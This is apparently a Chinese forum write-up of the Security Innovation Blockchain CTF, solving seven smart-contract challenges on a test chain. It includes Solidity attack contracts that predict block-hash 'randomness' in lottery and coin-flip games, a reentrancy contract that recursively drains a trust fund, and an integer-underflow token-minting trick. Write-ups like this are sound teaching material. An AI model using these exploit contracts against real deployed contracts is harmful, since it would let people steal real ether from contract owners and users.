介绍

Security Innovation Blockchain CTF是一个关于智能合约的ctf,任务目标是用各种漏洞和手段提取目标合约的所有以太坊
个人感觉这个ctf更实际一点,代码给人真实环境的感觉
目前做的人不是很多,并且我没有搜到writeup,刷刷排名进前25还是很容易的
在做之前请切换成测试链,并且拥有6个以上的ether


1.Donation

题目界面有3个按钮,不用管它,如果是做ctf的话,所有的操作都在remix里做,这样就知道每一步到底干了啥。
源文件给了2个,其中BaseGame.sol是所有挑战的基础,每一关的题目都会从它上面继承,并且使用里面的函数修饰器。

pragma solidity ^0.4.2;
//https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
import "../node_modules/zeppelin-solidity/contracts/math/SafeMath.sol";
contract BaseGame{

    using SafeMath for uint256;

    uint256 public contractBalance;
    mapping(address => bool) internal authorizedToPlay;

    event BalanceUpdate(uint256 balance);

    function BaseGame(address _home, address _player) public {
        authorizedToPlay[_home] = true;
        authorizedToPlay[_player] = true;
    }

    // This modifier is added to all external and public game functions
    // It ensures that only the correct player can interact with the game
    modifier authorized() { 
        require(authorizedToPlay[msg.sender]);
        _;
    }

    // This is called whenever the contract balance changes to synchronize the game state
    function addGameBalance(uint256 _value) internal{
        require(_value > 0);
        contractBalance = contractBalance.add(_value);
        BalanceUpdate(contractBalance);
    }

    // This is called whenever the contract balance changes to synchronize the game state    
    function subtractGameBalance(uint256 _value) internal{
        require(_value<=contractBalance);
        contractBalance = contractBalance.sub(_value);
        BalanceUpdate(contractBalance);
    }

    // Add an authorized wallet or contract address to play this game
    function addAuthorizedWallet(address _wallet) external authorized{
        authorizedToPlay[_wallet] = true;
    }

}

当初始化题目的时候,authorizedToPlay[_player] = true;让做题的人可以对题目进行操作,因为authorized修饰器会在每一关都修饰大部分函数,如果其他人要对题目操作的话,就要通过addAuthorizedWallet来添加权限。
其他的函数进行加减操作的时候都使用了导入的SafeMath,分析到这里这个可以得到BaseGame.sol是没有漏洞的,只要专注于题目就可以了。
题目里只有一个fallback函数和取钱函数,这一题的目的就是让做题的人在remix里搭建好环境,所以把所有的代码复制到remix里,然后修改import的文件路径(SafeMath.sol在github上有)


部署完成后点击取钱就行了。100分到手

2.Piggy Bank

在remix里把题目代码替换掉,BaseGmae.sol保留着放到最上面就好。
题目说这是Charlie的合约,所以其他人不能取钱
开始分析题目。整个题目的核心就是withdraw,所有继承了它的的函数有取钱的可能性,但是每一个函数都require(amount<=piggyBalance),问题就在于piggyBalance在创建合约的时候已经增加了,所以这里其实是可以直接取钱的


在这里写上10^17,也就是0.1 ether
这题的目的就是说网页应用端是不能阻止有漏洞的合约的,虽然在题目页面直接取钱不行,但可以绕过他们直接对合约进行操作

3.SI Token Sale

这一题模仿ICO,1 ether换1 SIT,但是可以用1 SIT退回0.5 ether。
替换题目后,去掉import SafeMath,加入https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-zos/master/contracts/token/ERC20/StandardToken.sol即可
在智能合约里,发送ether有很多方法,不过transfer()更加安全。搜索transfer后发现withdrawEtherrefundTokens有,但是refundTokens要求了提钱的人必须是开发者.
继续分析,发现漏洞点在balances[msg.sender] += _value - feeAmount;这一语句。由于合约并没有对传入的_value做限制(即使他网页端做了限制,如图),但是可以直接向合约传入比feeAmount小的值造成向下溢出。虽然题目用internal限制了买代币的函数不能直接外部调用,但是可以直接付钱给fallback函数。这里传1 wei给合约


然后就有茫茫多的代币了

然后退回合约的钱*2的代币就可以取完钱,就是(3^17+1)*2,因为刚才发了1 wei给合约,也要取回来。

4.Lottery

从这题开始就要自己写攻击合约了,写完放到题目代码的下面,部署一下就可以。部署后要用BaseGame.sol里的addAuthorizedWallet给合约添加权限。
这里考察对智能合约的理解,看起来entropy是随机哈希值,但是通过构造合约可以先获取,再提交。

contract test{
    Lottery t;
    function test() public payable {
        t =Lottery(你的题目地址);
    }
    function attack()public payable{
        bytes32 entropy = block.blockhash(block.number);
        bytes32 entropy2 = keccak256(this);
        uint256 target = uint256(entropy^entropy2);
        t.play.value(1 finney)(target);
    }
    function()  public payable{}
}

构造好合约后,部署,然后直接执行attack()就行了,注意执行的时候发1 finney。

5.Trust Fund

父母放了个基金,隔一年取一次,那也太磨人了,试试一次取完。
这个合约考察的是著名的DAO攻击,直接造成以太坊硬分叉,形成两条链,一条为以太坊(ETH),一条为以太坊经典(ETC)。
DAO攻击的元凶还是msg.sender.call.value()这个方法。因为恶意合约在调用这个方法的时候,会发送所有的gas给合约,合约则返回剩下的gas。因为合约接受以太币的时候会自动调用fallback函数,于是乎,恶意合约就可以在fallback函数里在调用取钱方法,用剩下的gas再次递归调用这个方法取钱。当然,要是实在想用这个方法也可以,那就要使用“检查-生效-交互”(Checks-Effects-Interactions)模式来写合约,在执行方法之前先进行检查。fallback函数可以形象的理解为"收钱函数",因为只有定义了这个函数,合约才可以接受以太币(除了其他合约自毁发币等特殊方法),即使它为空。而当调用一个不存在的函数的时候,也会执行fallback函数。
网上查的资料大多数都是通过大量循环取完钱,但是我在做这道题的时候发现了另外一个方法。当你的循环非常多,但是gas又比较少的时候,目标合约只会执行发币代码一次,而不会执行后面的修改余额代码。不过这样做要点10次才能取完,比较麻烦。

contract attack{
    address addressOfbank;
    uint count;
    function attack(address addr)public payable{
        addressOfbank = addr;
        count =9;
    }
    function() payable public{
        while(count>0){
            count--;
            TrustFund bank = TrustFund(addressOfbank);
            bank.withdraw();
        }
    }
    function withdraw(){
        TrustFund bank=TrustFund(addressOfbank);
        bank.withdraw();
    }
}

开始一次,循环9次,刚好取完,gaslimit可以设置为默认的80倍(反正测试链不要钱),如果不设置的话,就会有我上面说的第二种效果。

6.Heads or Tails

这个是猜硬币题目,和第4题类似。题目里看似随机的变量,其实在调用函数的时候就已经确定下来了。
构造:

contract attack{
    HeadsOrTails t;
    function attack()public payable{
        t = HeadsOrTails(你的题目地址);
    }
    function atk()public payable{
        bytes32 entropy = block.blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        for(int i=0;i<20;i++){
            if((coinFlip == 1 && true) || (coinFlip == 0 && !true)){
            t.play.value(100000000000000000 wei)(true);
        }
        if((coinFlip == 1 && false) || (coinFlip == 0 && !false)){
            t.play.value(100000000000000000 wei)(false);
        }
    }
}
    function() public payable{ }
}

每次赢0.05个币,20次循环取完。执行atk()的时候要附带发送2个以太以上,保证合约有钱去赌,这里我发了3个。

7.Record Label

这道题看起来100行代码很多,看了好一会,经过大佬指点后发现都是没用的东西。直接调用withdrawFundsAndPayRoyalties函数提款1 ether就行。(压轴题好奇怪。。)

总结

智能合约的很多特性是非常有趣的,比如可以"预测"随机数等。但是由于智能合约很多操作直接关系到以太币,也就直接关系到金钱。所以再小的漏洞危害都是十分大的。并且由于合约一经发布不能更改,更要引起人们对安全性的重视。

点击收藏 | 0 关注 | 1
登录 后跟帖